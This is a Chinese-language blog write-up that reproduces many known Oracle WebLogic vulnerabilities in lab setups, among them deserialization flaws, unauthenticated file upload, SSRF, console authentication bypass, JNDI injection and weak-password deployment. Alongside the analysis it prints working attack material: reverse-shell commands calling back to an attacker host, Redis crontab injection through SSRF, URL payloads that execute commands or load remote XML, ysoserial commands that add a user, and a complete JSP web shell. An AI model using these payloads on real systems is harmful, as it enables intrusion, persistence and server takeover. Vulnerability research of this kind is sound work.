weblogic重要漏洞记录

(PS:之前在freebuf发过,这里直接复制过来的,所以有些图片会有水印)

前言

T3协议存在多个反序列化漏洞
CVE-2015-4852/CVE-2016-0638/CVE-2016-3510/CVE-2017-3248/CVE-2018-2628/CVE-2018-2893/CVE-2018-2894/CVE-2018-3191/CVE-2018-3245/CVE-2019-2890/CVE-2020-2546/CVE-2020-2555/CVE-2020-2801/CVE-2020-2883/CVE-2020-2884/CVE-2020-2915/CVE-2020-14645/CVE-2020-14756/CVE-2020-14825/
IIOP存在多个反序列化漏洞
CVE-2020-2551/CVE-2020-14644/CVE-2020-14841
web存在多个反序列化漏洞
CVE-2017-3506/CVE-2017-10271/CVE-2018-3252/CVE-2019-2725/CVE-2019-2729
此外还存在较严重的web漏洞
CVE-2014-4210/CVE-2018-2894/CVE-2020-14882/CVE-2020-14883/CVE-2021-2109
批量化检测
https://github.com/rabbitmask/WeblogicScan
https://github.com/0xn0ne/weblogicScanner

XMLDecoder反序列化漏洞

CVE-2017-3506/CVE-2017-10271/CVE-2019-2725/CVE-2019-2729为同一漏洞的修补。

尝试访问/wls-wsat/CoordinatorPortType和/_async/AsyncResponseService

除此之外,还可能存在如下接口

/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

这些接口均以XMLDecoder解析xml,存在java反序列化导致任意代码执行。

XMLDecoder和XMLEncoder为java.beans用来反序列化/序列化xml的一个类。

CVE-2017-3506

概述

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

环境

JD-GUI

WebLogic 10.3.6

漏洞分析

漏洞触发位置:wls-wsat.war

漏洞触发URL:/wls-wsat/CoordinatorPortType(POST)

漏洞的本质:构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞

POC:

分析漏洞调用链

weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest
weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld
weblogic.wsee.workarea.WorkContextXmlInputAdapter

先看一下weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest方法

第43行,将header1变量带入到了readHeaderOld()方法中。header1变量由第41行定义,其值为<work:WorkContext> </work:WorkContext> 标签包裹的数据。

跟进readHeaderOld()方法(weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld)

byteArrayOutputStream,该类实现了将数据写入字节数组的输出流

在106行,有一句new WorkContextXmlInputAdapter(new ByteArrayInputStream(localByteArrayOutputStream.toByteArray())),这行代码的大致意思就是将POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类。

跟进至WorkContextXmlInputAdapter类中(weblogic.wsee.workarea.WorkContextXmlInputAdapter),查看其构造函数

由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞。

漏洞复现

访问 /wls-wsat/CoordinatorPortType 返回如下页面,则可能存在此漏洞。

漏洞不仅存在于 /wls-wsat/CoordinatorPortType 。 只要是在wls-wsat包中的Uri皆受到影响,默认受到影响的Uri如下:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据, <string></string>标签之间分别写存放jsp的路径和要写入的代码,发送


XML的构造参考:https://docs.oracle.com/javase/tutorial/javabeans/advanced/longpersistence.html

CVE-2017-10271

概述

CVE-2017-10271与CVE-2017-3506的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的:

补丁在weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中添加了validate方法,在解析xml时,Element字段出现object标签就抛出运行时异常

这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。

漏洞复现

我们将object换成void就可绕过此补丁,产生了CVE-2017-10271。

或者直接只用java反序列化漏洞利用工具

CVE-2019-2725

概述

CVE-2017-10271之后,官方继续追加黑名单,除了object之外,new,method标签被禁止,void只能有index属性,array的class属性只能是byte。但还有class标签可以使用,我们要找到一个类用byte传参,且实例化时可以造成命令执行效果。这就是CVE-2019-2725,同时,这个CVE也发现了_async漏洞。

本次反序列化漏洞绕过以往补丁的关键点在于利用了Class元素指定任意类名,因为CVE-2017-10271补丁限制了带method属性的void元素,所以不能调用指定的方法,而只能调用完成类实例化过程的构造方法。在寻找利用链的过程中发现UnitOfWorkChangeSet类(weblogic 12.1.3 利用org.slf4j.ext.EventData)构造方法中直接调用了JDK原生类中的readObject()方法,并且其构造方法的接收参数恰好是字节数组,这就满足了上一个补丁中array标签的class属性值必须为byte的要求,再借助带index属性的void元素,完成向字节数组中赋值恶意序列化对象的过程,最终利用JDK 7u21反序列化漏洞造成了远程代码执行。通过巧妙的利用了void、array和Class这三个元素成功的打造了利用链,再次完美的绕过了CVE-2017-10271补丁限制。

漏洞复现

漏洞触发点:bea_wls9_async_response.war、wsat.war

影响版本:Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

复现环境:WebLogic 10.3.6

访问以下目录中的一种,如下图所示则漏洞:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

bp在当前页面抓包:

CVE-2019-2729

CVE-2019-2729漏洞是对CVE-2019-2725漏洞补丁进行绕过,形成新的漏洞利用方式,属于CVE-2019-2725漏洞的变形绕过。

因为<class> 标签是漏洞利用所必须的,因此Oracle在CVE-2019-2725补丁中将该标签加入了黑名单。

然而,对JDK 1.6来说,<class>可以被<array method=”forName”>这种反射形式所替代。因此,使用标签<array method=”forName”>替换<class>标签就可以绕过黑名单。

Weblogic 12.x版本使用的是org.slf4j.ext.EventData,以及回显版本参考:

https://github.com/lufeirider/CVE-2019-2725

T3协议反序列化漏洞

CVE-2018-2628

概述

WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)。Oracle WebLogic Server的T3通讯协议的实现中存在反序列化漏洞。远程攻击者通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议(Java远程方法协议)达到执行任意反序列化代码,进而造成远程代码执行

同为WebLogic T3引起的反序列化漏洞还有CVE-2015-4852、CVE-2016-0638、CVE-2016-3510、CVE-2017-3248、CVE-2018-2893、CVE-2016-0638

漏洞复现

使用 https://www.exploit-db.com/exploits/44553中的脚本进行复现,具体使用方法见脚本。

Kail Attack :192.168.0.162

server08 victim : 192.168.0.163

Kail 执行

1)下载ysoserial.jar

wget https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2)使用ysoserial.jar,启动JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]是想执行的命令,而[listen port]是JRMP Server监听的端口。这里我执行:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'net user xiaohao xiaohao /add'

3)执行exploit.py

python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中,[victim ip]和[victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地(Kail系统上的)ysoserial的路径,[JRMPListener ip]和[JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

这里我执行

python2 exploit.py 192.168.0.163 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.0.162 1099 JRMPClient2

结果如下:

IIOP协议反序列化漏洞

CVE-2020-2551

概述

从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件,影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,导致恶意代码被执行。

经过分析这次漏洞主要原因是错误的过滤JtaTransactionManager类,JtaTransactionManager父类AbstractPlatformTransactionManager在之前的补丁里面就加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是IIOP协议这块,虽然也是使用的这个黑名单列表,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,而JtaTransactionManager类是存在jndi注入的。

漏洞复现

影响版本:weblogic 10.3.6  weblogic 12.1.3.0  weblogic 12.2.1.3.0  weblogic 12.2.1.4.0

利用的exp为:https://github.com/Y4er/CVE-2020-2551

然后使用marshalsec起一个恶意的RMI服务

编辑一下exp.java

修改为(这是windows的命令执行)

如果需要linux的命令执行修改为:

然后编译

javac exp.java -source 1.6 -target 1.6

编译完可以直接用Python3在当前exp目录起一个web服务

python3 -m http.server 80

然后开始攻击

java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 rmi://192.168.43.50:1099/exp

或者也可以起lpad服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.43.50/#exp

java -jar weblogic_CVE_2020_2551.jar 192.168.43.246 7001 ldap://192.168.43.50:1389/exp

WebLogic 未授权访问漏洞(CVE-2018-2894)

概述

WebLogic 未授权访问漏洞(CVE-2018-2894),存在两个未授权的页面,可以上传任意文件,但是这两个页面只在开发环境下存在

影响版本:12.1.3.0, 12.2.1.2, 12.2.1.3

漏洞路径: /ws_utc/config.do   、  /ws_utc/begin.do

漏洞复现

进入CVE-2018-2894的docker环境

这里我们首先打开docker的开发环境。这里因为不是弱口令的docker,所以这里我们执行命令看一下进入后台的密码

docker-compose logs | grep password

使用得到的密码登入后台,点击高级选项

勾选启用web服务测试页

保存即可进入开发环境

开发环境下的测试页有两个,分别为config.do和begin.do

第一个上传点/ws_utc/config.do
首先进入/ws_utc/config.do文件进行设置,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击添加后上传一个jsp

提交之后点击F12审查元素得到jsp上传后的时间戳

构造得到

http://192.168.111.224:7001/ws_utc/css/config/keystore/1631522785686_shell.jsp

即可连接

第二个上传点/ws_utc/begin.do

访问http://192.168.111.224:7001/ws_utc/begin.do,上传一个jsp

点击提交,这里显示一个error不用管它,在响应包中可以看到上传地址:

构造http://192.168.111.224:7001/ws_utc/css/upload/RS_Upload_2021-09-13_09-06-54_496/import_file_name_shell.jsp

连接:

Weblogic SSRF漏洞(CVE-2014-4210)

概述

Oracle WebLogic Web Server既可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口,进而攻击内网中redis、fastcgi等脆弱组件。

影响版本

10.0.2.0

10.3.6.0

验证漏洞

访问该路径,如果能正常访问,说明存在该漏洞

/uddiexplorer/SearchPublicRegistries.jsp

漏洞复现

vulhub ssrf环境

访问/uddiexplorer/SearchPublicRegistries.jsp,填写任意信息,点击search,抓包

抓包之后在Burp中右键,选择Change request method, 将POST请求改变成GET 。

参数operator为SSRF的可控参数,将其更改为开放的端口,如http://127.0.0.1:7001/,将返回error code

发现返回如下信息,说明开放7001端口,但是不是http协议

An error has occurred<BR>weblogic.uddi.client.structures.exception.XML_SoapException: The server at http://127.0.0.1:7001 returned a 404 error code &#40;Not Found&#41;. Please ensure that your URL is correct, and the web service has deployed without error.

若开放端口为HTTP协议,则会返回did not have a valid SOAP content-type。

访问不存在的端口,将返回could not connect over HTTP to server

weblogic SSRF联动Redis

漏洞复现

依旧用的上面的vulhub-weblogic-SSRF靶场

这里查一下开启redis服务的这个容器IP,找到ip:172.20.0.2

docker inspect 39

可以看见6379的端口存在,且为http协议

本机监听12345端口

burp改包直接将弹shell脚本到本机kail上(192.168.111.205)

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.111.205/12345 0>&1\n\n\n\n" 
config set dir /etc/ 
config set dbfilename crontab 
save

经过url编码后,写入bp中operator参数的后面:

operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.111.205%2F12345%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹shell成功。

Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/CVE-2020-14883)

概述

CVE-2020-14883是越权漏洞,常常和后台代码注入CVE-2020-14882配合,有的时候CVE-2020-14882会不好使,此时可以和CVE-2021-2109配合。

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

影响版本:

10.3.6.0

12.1.3.0

12.2.1.3

12.2.1.4

14.1.1.0

漏洞复现

使用vulhub的CVE-2020-14882环境

CVE-2020-14883

权限绕过漏洞的poc:

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

访问该url之后,进入如下页面,可以看见成功进入管理台:

但是这里没有部署安装的按钮,也就是说不能像常规进入后台后写shell进去,这里就需要用到远程加载XML文件拿shell

CVE-2020-14882

首先测试以下漏洞代码执行是否成功,在/tmp/下创建一个test文件夹

访问

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22);

得到如下界面

我们进入docker查看发现文件夹已经创建成功了:

sudo docker ps

sudo docker exec -it f3a72643602a /bin/bash

这里创建一个xml文件pox.xml,使用bash命令得到反弹shell

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.111.205/6666 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

nc开启监听端口,访问

http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.111.205/poc.xml")

即可得到反弹shell

CVE-2021-2109

概述

CVE-2020-14883是越权漏洞,可以和CVE-2021-2109配合使用。

CVE-2021-2109:攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。

影响版本:

WebLogic 10.3.6.0.0

WebLogic 12.1.3.0.0

WebLogic 12.2.1.3.0

WebLogic 12.2.1.4.0

WebLogic 14.1.1.0.0

漏洞复现

访问console登陆页面

http://192.168.2.7:7001/console/login/LoginForm.jsp

启动LDAP

下载地址:

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

启动命令

java -jar JNDIExploit-v1.11.jar -i http://192.168.2.7/

POC:

GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.2.7:7001
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd: id
Cookie: ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005
Upgrade-Insecure-Requests: 1

Weblogic弱口令&&后台getshell

概述

由于管理员的安全意识不强,或者配置时存在疏忽,会导致后台存在弱口令或者默认的用户名/口令。

弱口令参考:https://cirt.net/passwords?criteria=WebLogic

影响版本

全版本

漏洞复现

访问http://127.0.0.1:7001/console

自动重定向到http://127.0.0.1:7001/console/login/LoginForm.jsp,使用弱口令登陆后台(默认用户名weblogic ,我设置的密码admin888)。

点击部署->安装

点击上载文件,

选择war包,点击下一步

(PS: 将jsp马打包成war包命令:   jar -cvf shell.war shell.jsp

上传完成以后选中你上传的文件,点击下一步

选中作为应用程序安装,点击下一步

然后直接点击完成即可

选用我们安装的应用,点击启动即可

访问:http://ip:port/[war包名]/[包名内文件名]

这里是http://192.168.0.163:7001/shell/shell.jsp

连接:

CVE-2019-2618/CVE-2019-2615

需要后台密码,比较鸡肋。但其一般不会被删除接口,所以可以用来确认是否为weblogic,以及5次爆破密码。

/bea_wls_deployment_internal/DeploymentService

/bea_wls_management_internal2/wl_management

WebLogic 任意文件上传(CVE-2019-2618)

概述

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

受影响WebLogic版本:10.3.6.0、12.1.3.0、12.2.1.3。

漏洞复现

漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/weblogic)

构造的POST包如下所示:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.111.129:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: weblogic
password: yourpassword
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell.jsp"
Content-Type: false

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
    else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

发送数据包 ,返回了上传文件的地址:

去访问发现执行成功:

Weblogic 任意文件读取(CVE-2019-2615)

该漏洞是任意文件读取漏洞,这个漏洞接口是文件下载相关功能使用的接口,也是weblogic server中内部使用的正常功能,所以该漏洞需要weblogic的用户名密码

参考

https://mp.weixin.qq.com/s/E_X8ILPZjy-bUa3z6FJx8g

https://mp.weixin.qq.com/s/AbsZFf3Hj44WucKKBIUOsQ

https://xz.aliyun.com/t/9932#toc-5

https://cloud.tencent.com/developer/article/1516342

https://www.cnblogs.com/vege/p/13261571.html

https://blog.csdn.net/systemino/article/details/94645652

https://www.freebuf.com/vuls/284737.html

https://xz.aliyun.com/t/5078

永远相信 永远热爱
原文地址:https://www.cnblogs.com/vege/p/15608200.html